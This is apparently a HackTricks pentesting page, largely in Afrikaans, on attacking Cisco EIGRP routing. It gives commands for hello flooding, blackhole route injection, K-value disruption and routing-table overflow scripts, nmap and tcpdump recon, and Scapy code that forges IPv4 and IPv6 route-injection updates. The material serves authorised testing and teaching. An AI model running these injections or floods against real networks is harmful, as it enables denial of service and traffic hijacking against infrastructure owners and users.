EIGRP Attacks

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Dit is ’n samevatting van die aanvalle wat in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Raadpleeg dit vir meer inligting.

Fake EIGRP Neighbors Attack

  • Doel: Om router CPU’s te oorlaai deur hulle te oorstroom met EIGRP hello pakkette, wat moontlik tot ’n Denial of Service (DoS) aanval kan lei.
  • Gereedskap: helloflooding.py skrip.
  • Uitvoering:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters:
  • --interface: Spesifiseer die netwerk-koppelvlak, bv. eth0.
  • --as: Definieer die EIGRP autonomous system nommer, bv. 1.
  • --subnet: Stel die subnet ligging, bv. 10.10.100.0/24.

EIGRP Blackhole Attack

  • Doel: Om netwerkverkeer te ontwrig deur ’n vals roete in te spuit, wat lei tot ’n blackhole waar die verkeer na ’n nie-bestaande bestemming gestuur word.
  • Gereedskap: routeinject.py skrip.
  • Uitvoering:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters:
  • --interface: Spesifiseer die aanvallers se stelsel-koppelvlak.
  • --as: Definieer die EIGRP AS nommer.
  • --src: Stel die aanvallers se IP-adres.
  • --dst: Stel die teiken subnet IP.
  • --prefix: Definieer die masker van die teiken subnet IP.

Abusing K-Values Attack

  • Doel: Om voortgesette ontwrigting en herverbindings binne die EIGRP-domein te veroorsaak deur veranderde K-values in te spuit, wat effektief ’n DoS-aanval kan wees.
  • Gereedskap: relationshipnightmare.py skrip.
  • Uitvoering:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters:
  • --interface: Spesifiseer die netwerk-koppelvlak.
  • --as: Definieer die EIGRP AS nommer.
  • --src: Stel die IP-adres van ’n legitieme router.

Routing Table Overflow Attack

  • Doel: Om die router se CPU en RAM te belaste deur die routing table te oorstroom met talle vals roetes.
  • Gereedskap: routingtableoverflow.py skrip.
  • Uitvoering:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters:
  • --interface: Spesifiseer die netwerk-koppelvlak.
  • --as: Definieer die EIGRP AS nommer.
  • --src: Stel die aanvallers se IP-adres.

Protocol Notes Useful for Attacks

  • HELLO packets carry K-values and neighbors only form when they match. Dit is die basis vir K-value mismatch/relationship disruption-aanvalle en verduidelik waarom mismatched K-values adjacency voorkom.
  • The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, so passive captures reveal the exact values used on the segment.
  • EIGRP uses IP protocol 88, multicasting to 224.0.0.10 in IPv4 and FF02::A in IPv6. That makes it easy to spot with tcpdump 'ip proto 88 or ip6 proto 88' before attempting active abuse.
  • Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. Blind multicast route injection can work in weak labs, but when emulating a real neighbor you often need to track seq, ack, and the peer list carried in SEQUENCE TLVs to stay in sync with the RTP logic.

Passive Recon Before Injection

Voordat jy probeer roetes in te spuit, kap ’n legitieme HELLO / UPDATE-uitruiling en haal uit:

  • AS number
  • K-values and Hold Time uit die PARAMETER TLV
  • Authentication in use: none, MD5, or HMAC-SHA-256
  • Neighbor source address en die subnet/interface waar EIGRP aktief is
  • Software / TLV profile (SOFTWARE_VERSION, STUB, SEQUENCE) sodat jou vervaardigde pakkette soos die plaaslike routers lyk

Useful commands:

# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'

# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery

# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100

Nmap se broadcast-eigrp-discovery werk deur ’n HELLO na 224.0.0.10 te stuur en die teruggestuurde UPDATE-pakkette te ontleed, wat nuttig is om voorvoegsels te enumereer voordat ’n meer indringende route injection probeer word.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy bevat ’n EIGRP contrib-laag met TLVs soos EIGRPParam en EIGRPIntRoute, wat genoeg is om UPDATEs vir route injection te vervaardig. Voorbeeld aangepas vanaf die davidbombal/scapy EIGRP route injection script:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

Diezelfde repo bevat vinnige “fake neighbor” scripts wat ’n werklike EIGRP-pakket sniff en dit met ’n spoofed source IP replay om phantom neighbors te skep (nuttig vir CPU/neighbor-table pressure).

Scapy bied ook primitives wat nuttig is wanneer jy hoër-trouheids emulasie benodig in plaas van ’n enkele UPDATE:

  • EIGRPAuthData vir geauthentiseerde adjacencies
  • EIGRPSeq vir sequence / conditional-receive hantering
  • EIGRPStub om waargenome stub-gedrag te weerspieël
  • EIGRPv6IntRoute / EIGRPv6ExtRoute vir IPv6 route injection

Dit maak saak omdat die betroubare transportlogika dikwels die onderskeid is tussen ’n wegwerp PoC en ’n fake neighbor wat lank genoeg oorleef om routes te leer en die topologie te vergiftig.

EIGRP for IPv6

EIGRP for IPv6 is ’n aparte address-family wat oor IPv6 vervoer word. Dit gebruik steeds die EIGRP-pakketsoort / TLVs, maar dit word direk op interfaces aangeskakel en multicast na FF02::A. Vanuit ’n offensiewe perspektief beteken dit dat ’n dual-stack segment ’n EIGRP-aanvalsoppervlak kan blootstel, selfs al lyk die IPv4-kant skoon.

Belangrike verskille:

  • IPv6 EIGRP word per interface geaktiveer (ipv6 eigrp <as>), nie met IPv4-styl network statements nie.
  • A router ID is still required, sodat sniffing van ’n aktiewe segment gewoonlik genoeg konteks openbaar om ’n geldige peer na te boots.
  • MD5 authentication exists for EIGRP for IPv6, en moderne named mode deployments kan ook HMAC-SHA-256 gebruik, wat unauthenticated route injection blokkeer.

Minimale Scapy-voorbeeld vir IPv6 route injection:

from scapy.all import *
load_contrib("eigrp")

send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")

As die IPv6 next hop binne die route TLV uitgezero is, val ontvangers terug op die IPv6-bronadres in die pakketkop. Dit maak bron-spoofing en korrekte link-local adressering besonders belangrik tydens EIGRPv6-toetsing.

  • Scapy EIGRP contrib-dokumentasie: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Voorbeeldskripte: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy bou ’n virtuele-router-aanvalslab (FRRouting + Scapy) en sluit DRP-aanvalle in wat jy kan aanpas vir EIGRP-toetse. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap’s NSE het ’n klein eigrp-biblioteek vir die ontleding en generering van ’n substel van EIGRP-pakkette. https://nmap.org/nsedoc/lib/eigrp.html

Authentikasie Recon

  • EIGRP named mode ondersteun HMAC-SHA-256 authentication via authentication mode hmac-sha-256 .... As dit geaktiveer is, moet vervaardigde pakkette met die korrekte sleutel geverifieer word; as dit nie geaktiveer is nie, is spoofing/injection makliker om te valideer.
  • RFC 7868 definieer ook MD5 en SHA2-256 authentication-data binne die EIGRP AUTH TLV; daarom vertel passiewe captures gou of ’n blind spoof realisties is, of dat jy eers sleutelmateriaal nodig het.
  • Op EIGRP vir IPv6 ondersteun Cisco ook MD5 authentication with key chains. As meerdere sleutels met send/accept lifetimes gekonfigureer is, raak die herafspel van verouderde geverifieerde verkeer minder betroubaar omdat die aktiewe sleutel kan roteer sonder om die res van die adjacency-profile te verander.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks